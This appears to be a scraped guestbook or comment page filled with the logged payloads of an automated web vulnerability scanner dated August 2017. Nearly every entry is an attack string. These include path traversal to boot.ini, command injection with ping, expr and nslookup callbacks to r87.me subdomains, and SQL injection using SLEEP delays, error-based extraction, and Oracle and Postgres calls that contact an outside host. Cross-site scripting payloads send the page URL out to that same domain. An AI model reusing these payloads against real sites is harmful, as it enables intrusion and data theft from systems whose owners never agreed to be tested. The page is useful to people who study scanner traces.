\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB8

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB7

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[ns](javascript:netsparker(0x002A8F); \"nsmd\")

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A8B)+'

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A89);

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A87)

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -w 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x002A85),'

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\\';netsparker(0x002A83);///

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -w 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x002A81)+\"

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A7F)+'

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x002A7D);/*

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x002A7B))}

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x002A79));

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2;

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

1;expr 268409241 - 2;x

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';expr 268409241 - 2;'

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf\"\"ury.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd\"\"z1o.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic\"\"f8i.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu\"\"90e.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)\r\n

\r\n
\r\n

'&nslookup \"o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5\"\"fqe.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1\";expr 268409241 - 2;\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&nslookup \"o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye\"\"btw.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

&nslookup \"o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj\"\"oac.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x002A73)

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&nslookup \"o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3\"\"_iq.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL))))\r\n

\r\n
\r\n

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5\"\"g2w.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26\"\"lsu.r87.me\"

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\\\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\\\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\\\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\\\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\\\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\\\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n ';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz\"+\"lqw.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal\"+\"9om.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6C

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\\\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||'\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6B

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\\\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

